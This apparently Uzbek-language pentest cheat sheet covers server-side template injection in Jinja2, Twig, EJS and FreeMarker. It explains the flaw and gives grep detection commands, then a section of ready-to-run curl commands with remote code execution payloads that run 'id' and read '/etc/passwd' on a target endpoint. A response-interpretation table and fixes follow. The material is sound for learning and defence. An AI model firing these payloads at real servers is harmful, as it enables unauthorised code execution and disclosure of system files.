🎯
SSTI — shablon inksiyasi
Shablon tizimi orqali kod
1
Maqsad
Shablon tizimi (Jinja2, Twig, EJS, Pug, FreeMarker) foydalanuvchi matnini ifoda sifatida bajaradi — bu orqali serverda kod bajarish mumkin.
2
Tushuntirish
// XAVFLI — foydalanuvchi matni shablonga render(`Salom ${name}`); // name = {{7*7}} bo'lsa // natija: "Salom 49" — arifmetika bajarildi // TO'G'RI — ma'lumotni o'zgaruvchi sifatida ber render('greeting.html', { name }); // Jinja2 xavfsiz usul
| Tizim | Sinash | RCE |
|---|---|---|
| Jinja2 | {{7*7}} | {{''.__class__.__mro__[1].__subclasses__()}} |
| Twig | {{7*7}} | {{['id']|filter('system')}} |
| EJS / Pug | ${7*7} | JavaScript prototipi orqali |
| FreeMarker | ${7*7} | <#assign ex="freemarker.template.utility.Execute"?new()> |
| Velocity | $7*7 | ${7*7} #set($x="") |
3
Qanday aniqlanadi
# 1) shablon tizimini aniqlang grep -rniE "nunjucks|jinja2|twig|ejs|pug|handlebars|freemarker|velocity|thymeleaf" package.json # 2) render/template chaqiruvlari grep -rnE "render\(|renderTemplate|template\.render|compileTemplate" src/ | head
4
Buyruqlar
# 1) arifmetika — barcha tizimlarda curl -s -X POST -H 'Content-Type: application/json' \ -d '{"name":"{{7*7}}"}' https://site.uz/api/preview | grep -o "49" curl -s -X POST -H 'Content-Type: application/json' \ -d '{"name":"${7*7}"}' https://site.uz/api/preview | grep -o "49" curl -s "https://site.uz/page?name=%7B%7B7*7%7D%7D" | grep -o "49" # 2) Jinja2 → RCE (Python) curl -s -X POST -H 'Content-Type: application/json' -d '{"name":"{{ request.application.__globals__.__builtins__.__import__("os").popen("id").read() }}"}' \ https://site.uz/api/preview curl -s -X POST -H 'Content-Type: application/json' -d '{"name":"{{ "".__class__.__mro__[1].__subclasses__()[40]("id","","""""",0,"",0,0) }}"}' \ https://site.uz/api/preview # 3) Twig → RCE curl -s -X POST -H 'Content-Type: application/json' \ -d '{"name":"{{["id"]|filter("system")}}"}' https://site.uz/api/preview curl -s -X POST -H 'Content-Type: application/json' \ -d '{"name":"{{["cat /etc/passwd"]|filter("system")}}"}' https://site.uz/api/preview # 4) EJS / Node curl -s -X POST -H 'Content-Type: application/json' \ -d '{"name":"${process.mainModule.require("child_process").execSync("id")}"}' \ https://site.uz/api/preview # 5) FreeMarker curl -s -X POST -H 'Content-Type: application/json' -d '{"name":"${7*7}${"freemarker.template.utility.Execute"?new()("id")}"}' \ https://site.uz/api/preview
5
Natija
✓ MUvaffaqiyat — hujum ISHLADI
| Server javobi | Nima degani |
|---|---|
`{{7*7}}` → javobda `49` | **SSTI tasdiqlandi** |
`{{7*'7'}}` → `'7777'` | **Jinja2** — arifmetika string ko'rinishida |
`uid=33(www-data)` chiqdi | **RCE — to'liq kod bajarish** |
Xato `TemplateSyntaxError` chiqdi | Shablon ishlayapti — filtr qilingan |
✗ Rad etish — hujum ISHLAMADI
| Server javobi | Nima degani |
|---|---|
`{{7*7}}` → `{{7*7}}` qaytadi | **SSTI yo'q** — matn sifatida chiqdi |
`49` qaytadi lekin `{{ }}` ham qolgan | Eski sintaksis — boshqa til |
Xato: `unknown filter` | Jinja emas, Twig |
6
Zararni yopish
1. Foydalanuvchi matnini shablon ichiga qo'ymang
// ❌ render(`Salom ${name} <h1>Salom</h1>`); // ✅ Jinja2 — ma'lumot o'zgaruvchida render('greeting.html', { name: name }); // ✅ EJS res.render('page', { name: name }); // <%= name %> (chiqish)
2. Chiqishni escape qiling
// Jinja2 {{ name|e }} // escape {{ name|safe }} // FAQAT ishonchli ma'lumot uchun // Twig {{ name|e }} {{ name|raw }} // XAVFLI — ishlatmang // EJS <%= name %> // escape qilingan <%- name %> // XAVFLI — ishlatmang
3. Qo'shimcha
- Foydalanuvchi kiritsa — oddiy matn sifatida saqlang, keyin render qiling
- Shablon keshi (sandbox) yoqilsin
- Chetki funksiyalar (
system,exec) filtr qilinsin
7
Tekshirish ro'yxati
- Foydalanuvchi matni hech qachon shablon satriga qo'shilmaydi
- `|safe` / `|raw` / `<%- %>` foydalanuvchi ma'lumotida ishlatilmaydi
- Render faqat `|e` (escape) bilan
- `{{7*7}}` bilan test qilingan